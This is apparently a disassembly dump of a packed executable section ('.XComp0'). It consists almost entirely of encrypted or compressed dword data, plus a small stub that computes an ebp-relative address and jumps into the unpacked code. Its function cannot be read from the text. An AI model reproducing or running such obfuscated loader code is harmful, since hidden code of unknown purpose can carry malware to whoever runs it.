		dd 900316E7h, 1D20032Dh, 0DF84A03Ch, 7C651C9Ah,	0D3A4FB8Eh
		dd 0D6487BFEh, 13966791h, 3BA37B40h, 2A08642Ah,	5398698Ch
		dd 2D10CB32h, 9CA0ED2Ch, 49D37CD4h, 0F59F26EDh,	3EAF466Ch
		dd 1FD39A65h, 0F0A305D2h, 0C116C92Dh, 753FAAA7h, 0DF9h
		dd 32C534DFh, 292EC3EBh, 34C72EE4h, 2E29CCEDh, 33C835DFh
		dd 4A6CFFBCh, 0B561B0ABh, 476EB348h, 0B166ABB0h, 0D638B146h
		dd 205EE37Dh, 2EAE5B9Fh, 76126B13h, 0EE9ADF02h,	0DE53E833h
		dd 0B3708D29h, 38DE33CBh, 0A01FFABDh, 609CDFDBh, 0E2FA4E7Fh
		dd 0C9A88378h, 7DCCD30h, 4119D8B4h, 53A25499h, 0E01DB988h
		dd 2CC9E97Eh, 0F1256CEFh, 0BD491A04h, 9DC3759Fh, 0FEF58FE8h
		dd 0B2719F20h, 2F1206Dh, 9E0FCC87h, 453550EDh, 0EAE312C0h
		dd 0E38CEE29h, 99202778h, 0B93CD926h, 0DDD013D0h, 84F60F2Eh
		dd 0D724D1FFh, 9ABDDE77h, 8DE59CA0h, 26A258E4h,	0CA0D049Fh
		dd 8372A1EEh, 32ED08AEh, 0C16605E7h, 35FFEAA7h,	0D31h
		dd 0FAFDFC17h, 61F6FBB3h, 0FCFFF61Ch, 66F104B5h, 0FB00FD17h
		dd 8234C784h, 7D99E873h, 7F367B80h, 799EE378h, 9E00797Eh
		dd 205FAB35h, 7666139Fh, 4374F126h, 0A55A39B4h,	6921A4B5h
		dd 7D07B3EFh, 0D5024F3Ah, 0FEB33822h, 698BF6F7h, 926E578Ch
		dd 0DBCC80DCh, 0CB36A774h, 72DFCA27h, 5434B548h, 6BF122B5h
		dd 64754B10h, 0E65110CFh, 9EE3384Bh, 479C7E79h,	8F8C4FAEh
		dd 73ECC60Fh, 2615788h,	134D0000h, 276126Bh, 4C839ADFh
		dd 7B4033A5h, 6B13D170h, 0DF027612h, 4A33EE9Ah,	9ADF02BEh
		dd 0C6B86B26h, 932DC62Eh, 549ADF02h, 0E426BBFCh, 0B1704C4Fh
		dd 8D9E0366h, 0FB849CA0h, 0F1B21BDAh, 17B74C2Eh, 1D8D07DAh
		dd 0C1707F95h, 0E62B83F6h, 10C3C631h, 0C9EA72CBh, 7B069F26h
		dd 1391CAC0h, 1C71827Bh, 0D68D00F7h, 1F5DA01h, 87580000h
		dd 0BF816081h, 9923CCF4h, 459F264Dh, 5A46914Eh,	8306F126h
		dd 28CC993Eh, 0A6599837h, 590159h, 9ADF0264h, 51D621E0h
		dd 0EC4E67C6h, 3C7F7E97h, 0C3F57AE2h, 1FDCB732h, 0A033693Eh
		dd 421CD79Ch, 0E90CADh,	88E5D823h, 9F2633C0h, 0B019DCF9h
		dd 4E56E2D5h, 0E6AB6493h, 0C8C134h, 8F85B681h, 0B0D1A734h
		dd 2179ED87h, 62DC1F00h, 827B7819h, 0B83F74F9h,	72995E35h
		dd 5Fh,	81567B10h, 43B0F560h, 3D80B0Dh,	4861E0A1h, 5D7ED6h
		dd 79789CE7h, 8C77B428h, 0C3A5EE4Fh, 165B9CA0h,	0B99A13E2h
		dd 0A22A8306h, 0D79F26C3h, 6C892D3Eh, 6C5DA281h, 8607EE25h
		dd 0E112A518h, 6D431873h, 8CFDFC18h, 9B688D45h,	2195DE60h
		dd 0F075827Bh, 0DCB732C1h, 0FAF01Fh, 13040000h,	2DA0577Eh
		dd 37DCA176h, 0B370872Eh, 688F46CBh, 3DD72A93h,	7F6A8D2Eh
		dd 0CC17E612h, 0D3189617h, 0F68D21Fh, 9ADF0275h, 98E532F1h
		dd 0C0117C7Bh, 0DFA9C613h, 0D2646C67h, 6CAF0A0Dh, 149ADFE1h
		dd 6D120CFh, 0E05B9A37h, 0E37DD67Eh, 5B9ADFD9h,	69C853A8h
		dd 0EBDE19BEh, 0EB93EB38h, 4983E71Ah, 449763B9h, 0A3B86CE9h
		dd 0FF5F129Ch, 0E2AF4E6Ah, 1AF4C736h, 68D223D5h, 0ADAFCC97h
		dd 240CB844h, 946D249Fh, 0D00BC743h, 789EF34Bh,	0C1F33A7Dh
		dd 0DA19E934h, 0F7F2A7BFh, 0AC82Dh, 0EC0BAE00h,	3F2226Fh
		dd 0EA0BA9F8h, 8F7206Dh, 0E90CAEF3h, 0A132ED6Eh, 2C718677h
		dd 9FEE6988h, 27768170h, 6DF06B8Ah, 5DDC6811h, 8F889F20h
		dd 126B1325h, 9ADF0276h, 2AA35283h, 0D5028F69h,	531ADD22h
		dd 7AC754A1h, 46E77C5Dh, 52BEDC39h, 0B7CCAD8Dh,	6B3C6966h
		dd 5E42C512h, 8306F126h, 25CC993Eh, 0A40611CEh,	60692CD3h
		dd 8F4445B4h, 0F2502E36h, 50FB25h, 13F90000h, 0F0B042F2h
		dd 894E7902h, 83BA743Eh, 0E65FF862h, 9C9CDF3Bh,	0F54F6E5h
		dd 0A55881E2h, 39B46F24h, 514A9D5Ah, 0B5A5C07Dh, 0D3B83C1Dh
		dd 3998E54Ah, 21239B7Eh, 8CE19920h, 6C508B6Ah, 4CA446B5h
		dd 0DFB019A3h, 9CEC59Ah, 56E7h,	61E0CD00h, 0E97ED648h
		dd 0E6BD30CDh, 2ABB3811h, 0DAAB9CA0h, 56723A90h, 0BB1DDA9Eh
		dd 0E168C5C8h, 119F2685h, 1CA851A9h, 0C860D91Ah, 0A75C9937h
		dd 333CFF54h, 0DB83DBFEh, 1A4EDA83h, 0FBF660D9h, 0D91A8622h
		dd 78433E60h, 32B43D96h, 772A66A6h, 11640E4h, 13B20000h
		dd 2E9F567Eh, 9895A275h, 75349D7Dh, 0EB9CDFDAh,	9CBD4138h
		dd 0BD8D2773h, 73489313h, 0BEA0E06h, 78852FA2h,	0EF6C0775h
		dd 9A1D08BEh, 752A6BA4h, 0B4FC82h, 0E0F00000h, 91D64861h
		dd 3C179263h, 0B336BFF5h, 9A431BE0h, 9CDFDAD2h,	96638FD4h
		dd 25654013h, 334DED3Fh, 2BB418E3h, 0C3B26D84h,	2E742243h
		dd 4C5AD4BEh, 6E3F3C8Fh, 996A40FBh, 37296D09h, 5CDE1933h
		dd 82755413h, 7F769EF3h, 5982550Eh, 62h, 266B134Fh, 0CD8607EEh
		dd 0DF02D06Ch, 42958C9Ah, 0FD5D78B5h, 260FC55h,	44719ADFh
		dd 815B38B1h, 0EF06AB82h, 52AA522Ch, 0DF021FA9h, 14B0499Ah
		dd 0D09ADF02h, 0EF2CE7D1h, 0DFDBD18Eh, 51A9519Ch, 204A1CA8h
		dd 70C9C89Fh, 9F204AD4h, 62469190h, 0D8C1CAAFh,	0EFE572D5h
		dd 827596A6h, 2B37h, 0A112AD00h, 469ADF29h, 93628FD4h
		dd 0FEB09C48h, 38A0FFFFh, 0DF19059Fh, 0E883CA9Ah, 2695F87Dh
		dd 0F65FBFB2h, 9ADF326Ah, 0F8DC1FD2h, 76126B13h, 0EE9ADF02h
		dd 0DE53E833h, 9FFA63BBh, 79CDFDAh, 24A55882h, 0DA660F6Fh
		dd 829F204Ah, 1F704C8Fh, 0CE23E9F6h, 6964B7DFh,	0FE8069B6h
		dd 0CA63FD56h, 0F45D9F20h, 9F20CA68h, 0C8BB1DD4h, 8B49E8F3h
		dd 20CA56F2h, 0D0130E9Fh, 5881066Eh, 0CB2AC8A5h, 53B601E2h
		dd 992013EBh, 8DF1DC97h, 82F08CE5h, 0B56C9ADFh,	9858D562h
		dd 0DF82A53Fh, 9944219Ah, 41666768h, 56C8FBC8h,	9712E311h
		dd 7752E9BCh, 1DC2DCEh,	94FB54B6h, 0C9CDFEDh, 0EB095A77h
		dd 0FFC49F0Ah, 3921E0BCh, 85F5FCB4h, 7DF884EDh,	0AD649F20h
		dd 0E35AED6Ah, 0DD1358C2h, 126BC318h, 9920A453h, 0A3E85251h
		dd 4A098471h, 0C045AD8Dh, 569F5516h, 4A438053h,	0D0FF4E89h
		dd 1598658Fh, 44B8EE20h, 79467FDAh, 0B703D446h,	6CA97BF7h
		dd 77D754A7h, 0E734C3F2h, 0F6B58D86h, 8CE4F502h, 0B08B96DBh
		dd 0DCF94893h, 22CF1E19h, 0F54DAD3h, 37C417E6h,	0E7A0C1FAh
		dd 0E5DE5970h, 0C798401Ah, 0B7B4366Ch, 0C9A47796h
		dd 48733C0h, 25BF18C0h,	0A10700CBh, 0C4133EC4h,	0C7FC3E54h
		dd 94BB98F4h, 9EAF6C10h, 0F330C5EDh, 9D54BD30h,	0C6EE5356h
		dd 0CD30BE2Fh, 0F48FD90Ah, 6A6FA467h, 0CAED0E0h, 0C22300E9h
		dd 0A45FE7EFh, 4CAB4A97h, 31C0F061h, 0C42CD0B8h, 0F667963Fh
		dd 7004E6Ah, 8A6B8DD2h,	0F08CE555h, 6C07004Eh, 4A0D62B5h
		dd 0B1896887h, 0D1D2AAD0h, 6D9C28h, 78494807h, 0FEB96C75h
		dd 0F6FDB4F9h, 0C46A7BF3h, 3C313E8Eh, 960DDA1Dh, 83273846h
		dd 8BAA7FBDh, 6FEC4794h, 0BFA05499h, 30E3E613h,	0DE19FAF3h
		dd 8691608Fh, 5EEB5324h, 67E7E917h, 7E133094h, 0CD5A9D58h
		dd 0A5EA546Dh, 4D06876Eh, 5B21F8Ah, 0CC0388F2h,	16975E93h
		dd 4C07823Dh, 0FF6A1E8Fh, 0F821663Ch, 0CCF8405h, 15223FFFh
		dd 0CE272BC8h, 9ADF0232h, 522CF7AAh, 87DA0731h,	481B8E6Bh
		dd 0B3567D5Dh, 5C7D0168h, 0B6E9D8h, 7670CF5h, 299764B7h
		dd 6124B792h, 149223B4h, 703C4E9Eh, 0B26DB241h,	678E43C8h
		dd 6AE3B94h, 0CB6E8FEFh, 66D459Bh, 995C7ED3h, 76126B5Eh
		dd 7E9ADFA4h, 3D753803h, 0C64BA3B8h, 4918E312h,	0C01FB9AAh
		dd 18D3533Dh, 26D926E7h, 0F603AF34h, 8F668EF3h,	0C3027154h
		dd 0FE09322Eh, 66ED0B9h, 0DF63D36Dh, 43988B9Ah,	0DF635DEAh
		dd 7F7E989Ah, 0E50CC30Eh, 5ED998E4h, 0A01BE82Dh, 72A136DDh
		dd 6004BED6h, 3F97873Ch, 0DFC30A96h, 0FCBFB29Ah, 9E379FFFh
		dd 9ADFC302h, 19F4C7BAh, 9ADFE3C4h, 9712DF0Fh, 0BFF707BCh
		dd 4E8873FDh, 0FFFFFF02h, 0DA440BECh, 24892CBCh, 6B13EDD7h
		dd 0DF027612h, 0A352839Ah, 0B07D3A39h, 1A67F403h, 0BE1BFAFDh
		dd 4A03919h, 0C09ADF02h, 640059C1h, 0E09ADF02h,	9A77DE21h
		dd 769B5ED9h, 0AD4A9F7Fh, 0AC2E8D4Ah, 8874E263h, 570CAE43h
		dd 935039B8h, 6F648B50h, 0E2000000h, 38BDF57Ah,	0DF0EBB45h
		dd 0DA19B89Ah, 0CCB803FEh, 0D64861E0h, 0C3C23F05h, 3C7FA4D1h
		dd 0DACD79E2h, 2CB59CDFh, 0A2816C8Bh, 0A513F85Dh, 3CAD486Dh
		dd 0D4D520D5h, 91C295F4h, 0F3FCBF3Ch, 9A431B3Eh, 9920922Ch
		dd 0F06891D6h, 0DF03FD87h, 75AA699Ah, 0F34B46A2h, 356F28Bh
		dd 130E9ADFh, 9C5F963Eh, 9E5943h, 0A0E50000h, 4C078271h
		dd 6B13258Fh, 0DF027612h, 3915EE9Ah, 350D90Ch, 973C11CEh
		dd 0B1909B60h, 0B94EA698h, 38EBDE1Fh, 4D40BD59h, 7EE84196h
		dd 229CDF45h, 0D49731CAh, 544F9F20h, 0D4F791EAh, 0B46F9F20h
		dd 5A7A0F6Fh, 0D322D69Bh, 57BEF9DAh, 5AE68FE7h,	29F20D4h
		dd 28FFCC0Fh, 9167F44Fh, 0A60018E9h, 0F6CC4A22h, 2068F983h
		dd 0DFAE659Fh, 0DC6C736h, 53003DCAh, 0AD8D529Fh, 0E211C045h
		dd 52EE87E7h, 0A9F2068h, 2E0FCC17h, 9920B1B0h, 0C44931F0h
		dd 99E8E110h, 540F7A7Bh, 89734C8Fh, 0A0577E13h,	16E1165Bh
		dd 0C22FDF24h, 0DECF0CC7h, 0C7B73E73h, 67629542h, 5FEC6FACh
		dd 2FB922E2h, 979ADF02h, 263727DCh, 0F68DBC83h,	9B734849h
		dd 0A0956D42h, 3E20D39Ch, 2AED10A9h, 0DAA3FBFh,	8C4C2DEAh
		dd 0AC9F2695h, 0B3C49A1Dh, 4D09C119h, 1618E338h, 827B02DDh
		dd 706Eh, 7E138200h, 0CB609B5Ah, 92EB5376h, 9CA01001h
		dd 2BCAEC81h, 0E079E1C2h, 9F261044h, 0D2B60100h, 11AA3F1Fh
		dd 3DC029EEh, 9F26109Fh, 0F9F403B4h, 8FE86C88h,	9F2610F5h
		dd 7C6DB271h, 0A12E315h, 1DFB2CAFh, 2A0D8A9h, 0FC285482h
		dd 1D764BFh, 6EA9486Ch,	7B1DA3ECh, 1843482h, 0AA520000h
		dd 0D31FA952h, 0CCC79F26h, 26D3D771h, 47948F9Fh, 6F1265Dh
		dd 0D623CF14h, 0D2BB00D3h, 2B578B6Ch, 6F0ED1CBh, 0C233E5ACh
		dd 85D7AC7h, 0C59E0FEEh, 95428FFAh, 0B18814BDh,	993D9ADFh
		dd 46DD69BEh, 378A8973h, 7AE61C4Ah, 0E09D6AFh, 0DF0BD8ABh
		dd 4C83089Ah, 0E60B52A5h, 10C50C0Fh, 0CE6475E5h, 789E5402h
		dd 1CC854FDh, 7D749ADFh, 0AA047542h, 44B5ECD9h,	0BEF93955h
		dd 0B15F1429h, 379F7F44h, 4E9CC426h, 2712263Eh,	9ADF849Dh
		dd 0AD8D4A49h, 0A0A96744h, 6094DD9Ch, 883B1891h, 36A4C596h
		dd 0BA03666Ch, 0D06DFAFDh, 0D9B4C5B5h, 85124756h, 0E78FEF2Ch
		dd 38679A2h, 11A47550h,	7DAAA18Ch, 0B6CDF3Ah, 0C394995Ah
		dd 9DB6D56Ah, 3240A16Fh, 262F0070h, 100DC1Fh, 0D322D419h
		dd 0DE6A136Bh, 1B9ADDC9h, 0D48FFAF7h, 69EE29E8h, 74106911h
		dd 0F09ADDC9h, 3E81709Fh, 0F302B479h, 0B83ADE2Ah, 6212BBADh
		dd 2B1h, 7A7D7C97h, 0E1767B33h,	7C7F769Ch, 0E6718435h
		dd 7B807D97h, 2B44704h,	0FD1968F3h, 0FFB6FB00h,	0F91E63F8h
		dd 1E80F9FEh, 20652BB5h, 0F6E6939Fh, 76126B13h,	0EE9ADF02h
		dd 40B75E33h, 4C04B67Bh, 0DF0219A3h, 973CC59Ah,	0FE60A360h
		dd 263FD56h, 0AEE49ADFh, 8E2A7401h, 2F0F02F6h, 0DFE53AC6h
		dd 2CEFA29Ah, 0C235E22Fh, 0F5F28758h, 55A3C92Eh, 57ECD96Ch
		dd 9863A2DDh, 7E13B193h, 592C9D58h, 13997B79h, 5D20D45h
		dd 401A3BF2h, 2CEF06ABh, 0B465AA52h, 9FA9339Ch,	5E159ADFh
		dd 9EF356A1h, 849CA08Dh, 3BA11C8Dh, 509F268Dh, 0EC5558A7h
		dd 22BE2FC6h, 55C3F4C7h, 68B61F6h, 0EBA821D4h, 53E52E30h
		dd 1176827Bh, 0F4000001h, 0BAF1E2E3h, 33F0D91Ch, 0AC63A4D2h
		dd 6B13856Fh, 0DF027612h, 5E33EE9Ah, 964D40B7h,	8ED7FC41h
		dd 0A31B8E69h, 0DF02AE3Ah, 0A85B169Ah, 0F51F725Bh, 0AA451608h
		dd 0DF8766Ch, 73FAE338h, 9ADFAC20h, 29D27E33h, 9ADFB49Fh
		dd 84974C47h, 2ACB983Dh, 0BE01E2CBh, 89273CBh, 0A74E8630h
		dd 44840C3Eh, 1ACD6477h, 0D88BFE01h, 36DE330Bh,	0C215CEBFh
		dd 97681068h, 0EC181CF8h, 6FF9648Ah, 0D79ADF26h, 3D7EDF1Ch
		dd 0A39CA00Bh, 8DE68EF0h, 9F2633F3h, 0E863B86Bh, 8A29DE53h
		dd 2EC6B86Bh, 26333BC5h, 2BF0A39Fh, 4396AA53h, 534E995Ah
		dd 0DDFE93EBh, 27F4AF1Ah, 0BA3DC05Ah, 10E50B60h, 0FC5486CBh
		dd 0DDC3C953h, 417E759Ah, 0B8453678h, 0ED617ADh, 111h
		dd 1A1DDCF7h, 41D61BD3h, 1C1FD6FCh, 46D124D5h, 1B20DDF7h
		dd 0A254E7A4h, 5D79C853h, 9F569BA0h, 597EC358h,	0BE20999Eh
		dd 206B8B15h, 5646339Fh, 416FF426h, 0A5EC6FB4h,	8E728570h
		dd 79C0F213h, 1CD6F672h, 0E35B2FC5h, 55A25D6Ch,	0A10CEB08h
		dd 0A748330h, 52A55085h, 8C6B88D5h, 0BD95428Fh,	0DF0B8814h
		dd 0D02DC99Ah, 0DF9206DDh, 0C045A924h, 3617E413h, 293FC460h
		dd 33B63F75h, 0DDD027CEh, 0AD0973E8h, 0F6785FA6h, 6187B883h
		dd 0A5F3502h, 0A79E0FEEh, 0FB41F2C1h, 1DDA25A2h, 2136A350h
		dd 7A1FF76h, 0E320D5FDh, 2EC31B20h, 0F2236A8Dh,	4C69B803h
		dd 28D140A9h, 569465D5h, 0BCFBC57h, 3EDF1061h, 894DA763h
		dd 8DF15B4Eh, 0F6F08CE5h, 85EEEB80h, 0EB80F6FBh, 554CB063h
		dd 542AAD82h, 972E60Fh,	0EB80F67Fh, 24F72CE7h, 4098B85Dh
		dd 80F60D97h, 5FBAB9EBh, 0EB80F6C5h, 0BA3D8281h, 36B73E73h
		dd 86Eh, 5F790E00h, 0D877599Eh,	4F3261Ch, 5C9B3889h, 2F12071h
		dd 5F9E3A87h, 4F1236Eh,	5F9E3889h, 3F2236Eh, 5C99378Ah
		dd 1F02071h, 5A68F688h,	8900003Dh, 7C682434h, 8900005Ah
		dd 89512414h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 243C895Ch
		dd 4AC6BE56h, 0F28905FFh, 8324348Bh, 8B5404C4h,	0C481243Ch
		dd 4, 8B850h, 0F8010000h, 89D38953h, 0FF585B18h, 815F2434h
		dd 4C4h, 24148B00h, 5E08950h, 4
		dd 405h, 24048700h, 1957E95Ch, 0DDF6FFFBh, 246D881Dh
		db 0A7h, 56h, 36h
; ---------------------------------------------------------------------------


loc_5D20CB:				; CODE XREF: .XComp0:005D0018j
		mov	eax, 5FF6A65h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 2BF3FF6Ah, 4D2A4275h, 531589F1h, 12C1F69Ah, 2F4179BEh
		dd 205E289Bh, 77AB1E34h, 7A98B6E3h, 75A1416h, 68F8A813h
		dd 2D10F96Bh, 2D513EA4h, 5E5961C4h, 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 0FF6B1DB5h, 85858B05h, 8B05F917h
		dd 0F9340D85h, 67B58D05h, 8D05FF6Bh, 0FC893885h, 0C3D0FF05h
		dd 0E855h, 815D0000h, 0FF6B6DEDh, 85BD8305h, 105F917h
		dd 2C850Fh, 0B5FF0000h,	5FF6B1Dh, 340D858Bh, 363505F9h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 6B21B58Dh, 0FF5605FFh, 0FF6B1DB5h
		dd 0D858B05h, 3505F934h, 34812736h, 0C483D0FFh,	21B58D0Ch
		dd 8B05FF6Bh, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 5F91785h, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 6B46858Dh, 858905FFh, 5F92465h
		dd 0AAE9h, 0A0DC0C00h, 9428h, 500h, 100h, 0A2800h, 200h
		dd 72655300h, 65636976h, 63615020h, 32206Bh, 20h dup(0)
		dd 0E9000000h, 1093h, 0FF6F1B68h, 1240E905h, 8E68FFFAh
		dd 0E905FF70h, 0FFFA1236h, 0FF71EE68h, 122CE905h, 9068FFFAh
		dd 0E905FF72h, 0FFFA1222h, 0FF74B568h, 1218E905h, 2B68FFFAh
		dd 0E905FF75h, 0FFFA120Eh, 0FF79F568h, 1204E905h, 6A68FFFAh
		dd 0E905FF7Bh, 0FFFA11FAh, 89BB5679h, 578D825Eh, 83B94A70h
		dd 568E7764h, 88BC4B6Fh, 0A44877AAh, 0B816C163h, 0A746B153h
		dd 0B21BBA62h, 7E3BA95Bh, 97189CDDh, 14B41923h,	5378638Ch
		dd 0A36E3BB2h, 0B15C817Eh, 788F3B3Ch, 0C96DA475h, 7D5E5920h
		dd 0A07A976Bh, 62A74E3Fh, 9EB05375h, 63826E4Fh,	61AE8214h
		dd 0B6EAD54h, 88299642h, 0BAAE569Bh, 0EF18C42Ch, 65F62BFEh
		dd 29964114h, 0A45D9491h, 0B31BA45Dh, 40BEBF5Ch, 1C3B2996h
		dd 845558B1h, 98A6A94Dh, 8B2F8F72h, 0D6C179Eh, 8B239D0Fh
		dd 3E29AC63h, 14686DA2h, 2E0CF5E1h, 87A1BBF1h, 0D33AC60Bh
		dd 0B72DBF87h, 40F948D6h, 9C8F6A13h, 143AE723h,	6708h
		dd 2ECD300h, 0A213F2D7h, 0DE8B02C7h, 69FF0238h,	9040831h
		dd 0F118C35Dh, 0F5A3FF1Bh, 0E747D461h, 3D2F8EA6h, 81265704h
		dd 0E6A3239Ch, 0FAFBA850h, 0DA54DD2Fh, 9EB586FFh, 0BC52BD21h
		dd 9C75EC89h, 97846A23h, 9C76017Ch, 48817E23h, 907D6245h
		dd 0ABB7901Dh, 0B4A26DF3h, 0D54D1ED2h, 126D748h, 8D2A0000h
		dd 43ADC2Fh, 23AA638Ch,	0CA6F9844h, 0D97D902Dh,	47C62710h
		dd 0CA31A346h, 24550618h, 0A1299609h, 0F7610E4h, 4E6F7E90h
		dd 3D9D1ABFh, 470A24CAh, 299623ADh, 8649577h, 0E7257D5Fh
		dd 0C647A847h, 0E2FEF91Eh, 5DF1A82Dh, 0B3BF318Eh, 0E726C7CCh
		dd 0EB081505h, 0D704FB26h, 0FC35CEFCh, 8F19915Ah, 0BAD3BB36h
		dd 0C6799A1Ch, 52EA3519h, 8BB67BB6h, 2CC24B74h,	54FF3AFFh
		dd 29960229h, 0D9CD3C9Fh, 1B470A2Ch, 92F8F2Bh, 1737CCEEh
		dd 3CCDF0DFh, 8B34CF5h,	0AD20EFCFh, 172135FCh, 913BB523h
		dd 0AF8AAF7Ah, 0D9B0C98Ah, 702D239Ch, 90A66587h, 98CD3CBDh
		dd 0E4DF429h, 1DA0E66Bh, 0E31B3BE8h, 0E90DEA09h, 1744F8FCh
		dd 1DA0D966h, 26EB26E3h, 2FD804FBh, 502EA0Dh, 0FD3801B6h
		dd 3F203BEh, 0D92h, 21C34E71h, 4FF51AB6h, 1BC142A8h, 4EF60FBCh
		dd 20C443A7h, 0ECD08F02h, 0E0FEE91Bh, 0EFCEF92Bh, 0DA03E21Ah
		dd 16E31133h, 97167405h, 0BC7CF123h, 75A7608Ch,	79A06D52h
		dd 2AAB607Eh, 0BB55DF6Fh, 131469FFh, 5DFDAE4Fh,	46D50CC5h
		dd 2F8F90E4h, 0BA1FBD3Ah, 0BA3BF613h, 0FAA74FDFh, 0F40B36F3h
		dd 9D4C41CAh, 9D6BFB7Eh, 784E8623h, 0C25D3A87h,	3C0F1FDCh
		dd 239D2D3Dh, 0F3FA11BBh, 5243CCF4h, 20FEECDBh,	37981F18h
		dd 95C140D6h, 8AF320D9h, 7239D2Dh, 5D0FF41Ah, 2948D605h
		dd 0D8DD328Eh, 423BD801h, 0BF239D21h, 19F02CC2h, 52000001h
		dd 0ED8746CEh, 3573EBD6h, 0A8817497h, 0C11ECD61h, 6154B11Ah
		dd 0AD4C4188h, 8B826B54h, 96240D70h, 213F9829h,	0EFB5437Ah
		dd 0EDFC120Fh, 0F8FF3ACDh, 0C72036D7h, 9669B83Ch, 6E9F4029h
		dd 5FAE0FB6h, 0A9D47FBAh, 26299660h, 6D0CD579h,	60F68794h
		dd 0B6732996h, 0D2649F49h, 1FDA0096h, 0DAFFDDDAh, 0D9DC15F2h
		dd 75BEE00h, 0BA2F8F89h, 373B3EDDh, 0CBB8239Dh,	0FC6ADE06h
		dd 0CE07BA6h, 0AB299928h, 0E9CA5AE1h, 0CC5106Bh, 0D302EAD5h
		dd 0DBB124EBh, 0C5319526h, 0FB36FBBAh, 1D60FB46h, 9A1DA16Bh
		dd 378B07EDh, 0E1697554h, 0FB46E34Dh, 0A1291D60h, 49ED9A1Dh
		dd 0F6C542AAh, 0BEFDC857h, 1FC1A4CDh, 0FE00000Ch, 0CFF62EE3h
		dd 0D9FC20EFh, 5F014EFh, 0DCFB21E4h, 4FE517F0h,	0C245A5D2h
		dd 0FA11BB1Ah, 0D138A342h, 0EA23CC2Bh, 2CE79032h, 23971551h
		dd 8C5719CEh, 0B5587560h, 0E33B4C40h, 0BCA4D636h, 5D88BC75h
		dd 0AD548D80h, 0BD5EAB12h, 299684BCh, 55B21A39h, 5EC07A9Ch
		dd 95E873CEh, 12299685h, 0CDF20115h, 55AC4D40h,	9685B3C6h
		dd 44BF2929h, 6291A562h, 8A7F5E7Dh, 699B5603h, 9FDA79C0h
		dd 1C299685h, 593CF5Fh,	24DD24DDh, 968586F7h, 0F0060329h
		dd 95F1305Dh, 214CC02Fh, 9DE509Fh, 0B16E86A8h, 0CF4E6F88h
		dd 96E93944h, 0C9B623h,	9FEDED9h, 5084BE5h, 0CE2396EAh
		dd 39DE0654h, 0E82A5300h, 0FAA72396h, 0E869143Fh, 39E62396h
		dd 576F3B15h, 75577A60h, 7F4A1F96h, 0AFBB5B0Eh,	0BF38E139h
		dd 0F70EBB1Ch, 0E528C532h, 181539F0h, 900117FBh, 90BD6A29h
		dd 66C777C3h, 2A70E6B1h, 0DFE664EFh, 0DCC98FCDh, 46A710D9h
		dd 313C6C7h, 70A9F167h,	5D8F2EC9h, 0C4C22F89h, 0E373BE56h
		dd 0D92C1970h, 58817E89h, 7B5D7E5Fh, 80540588h,	688EC273h
		dd 0B267A269h, 8993CC5Ah, 0A41BD2D5h, 0F29CD36h, 3944CF2Ah
		dd 0AF7DDFB3h, 1C09FD0Ch, 3FCF36A3h, 1DFE0FB0h,	1EBE4654h
		dd 0BFA085AEh, 9E00000Ah, 0AF16CE43h, 0F9DC000Fh, 0E51034CFh
		dd 0FCDB0104h, 2F0537D0h, 0E225C5F2h, 0DA319B3Ah, 0F118C322h
		dd 0CA43AC4Bh, 4C07B012h, 23971431h, 0FF7739AEh, 2BDAFF69h
		dd 0FF3AEFAAh, 8C435F0Dh, 8AACAA62h, 271F6EADh,	5DAF2F95h
		dd 0E228BD2Bh, 0D7349AC9h, 28CE03D6h, 4538E3D0h, 0C22395CAh
		dd 0EAD50CC5h, 0D8910401h, 0F940F936h, 95CA1F5Ah, 4FDF9C23h
		dd 2ACF40A0h, 0F948ACA2h, 8096BD7Ah, 60AF0FB6h,	5E48CC6Dh
		dd 92EB2814h, 0F2395E4h, 0A993BA12h, 0FFE00F1Fh, 582AAD0Eh
		dd 0C7E8B308h, 0A1DDEh,	3CD5FC00h, 0E01DD08h, 3AC9EFD6h
		dd 0FF6E302h, 25E20AEDh, 0AFEC25FFh, 9D48FC0Bh,	0AD18CC3Fh
		dd 9E49FB0Eh, 0AA18CC41h, 132B4E0Dh, 43A82397h,	8C31CE85h
		dd 0A45D0C81h, 96860677h, 70868329h, 13862F4h, 506E8A0Bh
		dd 20389C6Dh, 53E076D0h, 62AD11AEh, 0EC8DCE6Bh,	692995CFh
		dd 6EE175BCh, 2F953C1Fh, 0F34F6A74h, 10E41FC9h,	2894D840h
		dd 3ADF2ADFh, 8F5D99D2h, 14F6DE2Dh, 0B416FE2Eh,	5450140h
		dd 1FE3BDBh, 2CDBFFDCh,	0E607F0A9h, 3EF3A627h, 9AC85206h
		dd 46096D5Fh, 35968D22h, 82071421h, 0E7239596h,	0D3F8FF3Ah
		dd 26C31C32h, 0CDA6F9DBh, 2F182955h, 95F85924h,	0F029D623h
		dd 95F81A63h, 44EA9723h, 95F87501h, 0AFBB5223h,	0D3F8FFh
		dd 0F0A92CDDh, 7CF01539h, 394B2FD4h, 85h, 8831CE0Bh, 178DD97Dh
		dd 5A543BA6h, 0ED24434Eh, 0CF64E034h, 0D7165FDDh, 0C8A114F3h
		dd 0F940ED01h, 266A1340h, 4AE72996h, 96267009h,	0F930ED29h
		dd 0F065D713h, 0BC5220ECh, 9600F489h, 0B01BA429h, 503DB559h
		dd 9600BAC3h, 7F4A3729h, 8E815D5Ah, 747A5207h, 0C5D5A1EAh
		dd 5102EB0Bh, 2995C624h, 0CACB38A2h, 8508FBDDh,	6D80605h
		dd 0FFC713FAh, 4D2FE66Dh, 0C2Ah, 31CEFC00h, 7E6F7F8Ah
		dd 25Eh, 30A7F1C2h, 96C57CA6h, 2F8F9E78h, 35D0F906h, 12CD921h
		dd 0CE3D9F18h, 0DABA12C7h, 0BBA9B349h, 0E3F063F3h, 0EFD3476Bh
		dd 0B124E508h, 671241F8h, 0E473F20Dh, 0DD4B1737h, 78635C85h
		dd 0A3B07D91h, 79EB16A7h, 43923AC5h, 3EB97097h,	0B465689Dh
		dd 74AD5AA2h, 71A85F8Bh, 0F90497E2h, 0C767146Dh, 8E1A8C1Eh
		dd 0FFDADB30h, 85040FCAh, 0EA73F5C9h, 1E3D043Dh, 67FC3F5Bh
		dd 24F90ED8h, 0A27A7CF4h, 0B94A7067h, 64D16534h, 669B725Bh
